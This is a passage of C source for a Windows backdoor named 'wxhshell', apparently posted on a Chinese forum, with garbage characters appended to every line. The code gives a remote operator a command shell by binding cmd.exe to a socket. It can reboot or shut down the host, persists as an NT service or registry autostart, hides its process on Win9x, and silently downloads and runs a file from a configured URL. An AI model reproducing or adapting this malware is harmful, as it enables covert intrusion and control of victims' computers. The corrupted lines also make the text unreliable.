   ~q*i;*  
  // 帮助 DLU[<! C  
  case '?': { Kl2}o|b   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~D*b3K 8X  
    break; D`en%Lf!m  
  } +eU`H[iu  
  // 安装 ?2/uSG|  
  case 'i': { * nLIXnm  
    if(Install()) <}&7 a s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BlL|s=dlQV  
    else w2k<)3 g~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -<xyC8 $^$  
    break; :MK=h;5Z  
    } B#1:Y;Z  
  // 卸载 "<qEXX  
  case 'r': { b9`iZ  
    if(Uninstall()) Jth=.9mrM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hBjVe?{  
    else i^R{Ul[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vT%qILTrQf  
    break; )Ea8{m!   
    } [ne" T  
  // 显示 wxhshell 所在路径 JfbKf~g  
  case 'p': { %Mh Q  
    char svExeFile[MAX_PATH]; Tj&'KF8?L  
    strcpy(svExeFile,"\n\r"); #$FY+`  
      strcat(svExeFile,ExeFile); n"iNKR>nW  
        send(wsh,svExeFile,strlen(svExeFile),0); :VJV5f{  
    break; '5AvT: ^u  
    } m#*h{U$  
  // 重启 ("OAPr\2dw  
  case 'b': { !5&%\NSv  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Vd21,~^>g  
    if(Boot(REBOOT)) sllzno2bU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]dq5hkjpU  
    else { 8-ZUS|7B  
    closesocket(wsh); <.}Ua(  
    ExitThread(0); H/^B.5RYE>  
    } BMdSf(l  
    break; 6ga5^6W  
    } *o!l/>4g  
  // 关机 @7fm1b  
  case 'd': { :\ mRtVH  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); k}HQq_Y(<  
    if(Boot(SHUTDOWN)) vu<#wW*9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _|X7 n~  
    else { zi }(^~Fe  
    closesocket(wsh); iTu0T!4F  
    ExitThread(0); )%qtE34`  
    } ~\ [?wN  
    break; p'g^Wh  
    } %&tb9_T)d  
  // 获取shell .1LPlZ  
  case 's': { 7-X/>v  
    CmdShell(wsh); I(n }<)eF  
    closesocket(wsh); p-,Iio+  
    ExitThread(0); S.W^7Ap  
    break; ck$M(^)l  
  } )km7tA 0a  
  // 退出 (8G$(MK  
  case 'x': { h8jB=e, H  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +}U2@03I  
    CloseIt(wsh); ~,gLplpG0  
    break; HxZ.OZbR  
    } ;SKcbws  
  // 离开 LQqfi ~  
  case 'q': { =T4u":#N;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); tFiR!f)  
    closesocket(wsh); 3{e'YD~hP  
    WSACleanup(); g8l5.Mpx  
    exit(1); [x5mPjgw  
    break; w4,]2Ccn.  
        } /&(1JqzlB  
  } e #M iaX  
  } R*bmu  
U(*yL-  
  // 提示信息 csDQva\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w12}Rn8  
} =!CU $g  
  } bAiJn<  
s"coQ!e1.  
  return; \(fq8AL?  
} Xu#:Fe}:  
Xpl?g=B&u  
// shell模块句柄 Xm|ib%no  
int CmdShell(SOCKET sock) ,9\Snn  
{ K6B4sE  
STARTUPINFO si; 8teJ*sz  
ZeroMemory(&si,sizeof(si)); .YR8v1Cp  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'I v_mig  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; MM gx|"  
PROCESS_INFORMATION ProcessInfo; 4,~tl~FD  
char cmdline[]="cmd"; }Eh*xOta  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ne*#+Q{E  
  return 0; [;^,CD|P  
} =|,A%ZGF$  
=cn~BnowY  
// 自身启动模式 ?Ht=[l=  
int StartFromService(void) )Gb,^NGr  
{ 7@l<? (  
typedef struct OH6n^WKY  
{ .6m_>Y6  
  DWORD ExitStatus; f{ ^:3"i  
  DWORD PebBaseAddress;  iSiDSeW8  
  DWORD AffinityMask; rwgsXS8W6  
  DWORD BasePriority; CGZ^hoh/  
  ULONG UniqueProcessId; "!KpXBc,>  
  ULONG InheritedFromUniqueProcessId; 56{I`QjX  
}   PROCESS_BASIC_INFORMATION; 3m=2x5 {L  
7ZsA5%s=,  
PROCNTQSIP NtQueryInformationProcess; -DCa   
8r^ ~0nm  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; WYszk ,E  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Q7GY3X*kA  
#epy%>  
  HANDLE             hProcess; ,2,5Odrz  
  PROCESS_BASIC_INFORMATION pbi; e&1 \'Zq?>  
Mu2`ODe]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); BJ5}GX!  
  if(NULL == hInst ) return 0; BQ#L+9%  
m@\ZHbq  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); re`t ]gzb  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <3Gqv9Y&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :=fvZAWD  
l r~gG3   
  if (!NtQueryInformationProcess) return 0; hs(W;tR@W  
;LMWNy4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Wi$dZOcSJ  
  if(!hProcess) return 0; FjFwvO_.  
Fo}7hab  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~xDw*AC-  
x_!ZycEa  
  CloseHandle(hProcess); CS@&^SEj  
&=Y e6 f[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /!T> b:0  
if(hProcess==NULL) return 0; R#eg^7HfX  
F,T~\gO5,  
HMODULE hMod; c\.P/~  
char procName[255]; ,.v7FM^gO  
unsigned long cbNeeded; 7bF*AYM  
'jjb[{g^}}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $$1qF"GF  
gQouOjfP  
  CloseHandle(hProcess); RiR:69xwR*  
`.v(fC  
if(strstr(procName,"services")) return 1; // 以服务启动 s| -FH X  
( u`W!{1\  
  return 0; // 注册表启动 HOZRYIQB  
} ! '0S0a8  
hfrnxeM#~  
// 主模块 `ifiL   
int StartWxhshell(LPSTR lpCmdLine) =yXs?y"  
{ ;t(f1rPyE  
  SOCKET wsl;  }roG(  
BOOL val=TRUE; AK-}V4C/A  
  int port=0; H{(]9{  
  struct sockaddr_in door; KnzsHli,~k  
YQ]\uT>}&  
  if(wscfg.ws_autoins) Install(); 6`\ya@  
]R IVc3?;$  
port=atoi(lpCmdLine); xf,5R9g/  
-]S.<8<$  
if(port<=0) port=wscfg.ws_port; 1*Ar{:+ua  
,Em$!n  
  WSADATA data; .}`hCt08  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ig_2={Q@  
:i*JnlvZ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   XDz5b.,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ry0%a[[  
  door.sin_family = AF_INET; 9uYyfb: ,z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }Je>;{&%  
  door.sin_port = htons(port); ;*cLG#&'M  
{9 PR()_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !; v~^#M]~  
closesocket(wsl); )^O-X.1  
return 1; x\@*6 0o  
} z@VP:au  
L,]=vba'$  
  if(listen(wsl,2) == INVALID_SOCKET) { Tg ?x3?kw  
closesocket(wsl); f CcD&<%  
return 1; aT!;{+  
} hOk00az  
  Wxhshell(wsl); ,mFsM!|  
  WSACleanup(); csQfic  
xWX*tJ4  
return 0; eon!CE0  
b,^*mx=  
} ;<wS+4,  
mpay^.(%  
// 以NT服务方式启动 -J0WUN$2*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #exss=as/  
{ 7Z,/g|s}z  
DWORD   status = 0; 1np^(['ih  
  DWORD   specificError = 0xfffffff; U 4,2br>  
TMVryb  
  serviceStatus.dwServiceType     = SERVICE_WIN32; = +Xc4a  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; KEr\nKT1  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; C+V* Fh3  
  serviceStatus.dwWin32ExitCode     = 0; M>H=z#C>/A  
  serviceStatus.dwServiceSpecificExitCode = 0; 2+"r~#K*  
  serviceStatus.dwCheckPoint       = 0; JXU2CyMY  
  serviceStatus.dwWaitHint       = 0; 8E^@yZo{  
\wav?;z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1|Q vN1?  
  if (hServiceStatusHandle==0) return; x"4%(xBu  
GdmmrfXB  
status = GetLastError(); 8cxai8  
  if (status!=NO_ERROR) NAFsFngqH  
{ 'r} fZ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; p@Q5b}xCG_  
    serviceStatus.dwCheckPoint       = 0; @gfDp<  
    serviceStatus.dwWaitHint       = 0; RW7(r/C  
    serviceStatus.dwWin32ExitCode     = status; 7C,T&g 1:  
    serviceStatus.dwServiceSpecificExitCode = specificError; @y|_d  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -X1X)0v$  
    return; n!ok?=(kQ  
  } SZ!=`a]  
I9y.e++/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3I=kr  
  serviceStatus.dwCheckPoint       = 0; XhW %,/<  
  serviceStatus.dwWaitHint       = 0; M8;lLcgu.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); eE8ULtO  
} F} DUEDND*  
eiMH['X5  
// 处理NT服务事件,比如:启动、停止 T1Ta?b  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *OTS'W~t  
{ o'V%EQ  
switch(fdwControl) Q9?t[ir  
{ m7|RD]q&  
case SERVICE_CONTROL_STOP: ((3}LQ  
  serviceStatus.dwWin32ExitCode = 0; z(HaRB3l  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; cPF<D$B  
  serviceStatus.dwCheckPoint   = 0; ;[0&G6g  
  serviceStatus.dwWaitHint     = 0; C2F0tr|  
  { 2y GOzc  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i%{X9!*%TX  
  } 3{Q,h pZN  
  return;  lhLGG  
case SERVICE_CONTROL_PAUSE: 7v"lNP-?jU  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3sm M,fi  
  break; ": ;@Hnb/  
case SERVICE_CONTROL_CONTINUE: i6PM<X,{;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; '/%zi,0  
  break; 6LUC!Sh  
case SERVICE_CONTROL_INTERROGATE: DPHQ,dkp  
  break; ^>$P)=O:v  
}; ]F*3"y?)2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <,%:   
} `iG,H[t+j  
VM=+afY5M  
// 标准应用程序主函数 oR#:Nt X@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) o4^Fo p  
{ @e2}BhB2  
x^=M6;:  
// 获取操作系统版本 &<x@1,  
OsIsNt=GetOsVer(); Ukphd$3J=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); P&A|PY,P  
pxINw>\Qv  
  // 从命令行安装 30cd| S?  
  if(strpbrk(lpCmdLine,"iI")) Install(); &XLD S=j  
9uB(Mx(-:`  
  // 下载执行文件 wsfd8T4  
if(wscfg.ws_downexe) { \}]iS C.2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |QZ 58)>  
  WinExec(wscfg.ws_filenam,SW_HIDE); ' P"g\;Ij  
} zsl,,gk9Y  
aw $L$7b}  
if(!OsIsNt) { %:C ]7gQ  
// 如果时win9x,隐藏进程并且设置为注册表启动 r64u31.)  
HideProc(); TCVl8)j  
StartWxhshell(lpCmdLine); E@)\Lc~  
} C*70;:b  
else dKhA$f~  
  if(StartFromService()) 9h,u6e  
  // 以服务方式启动 5_o$<\I\  
  StartServiceCtrlDispatcher(DispatchTable); ./-JbW  
else }ynT2a#LU'  
  // 普通方式启动 J{"kw1Lu  
  StartWxhshell(lpCmdLine); b!>\2DlyJ  
(&\aA 0-}H  
return 0; ;e8V +h  
}
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只看该作者 1 发表于: 2006-10-10
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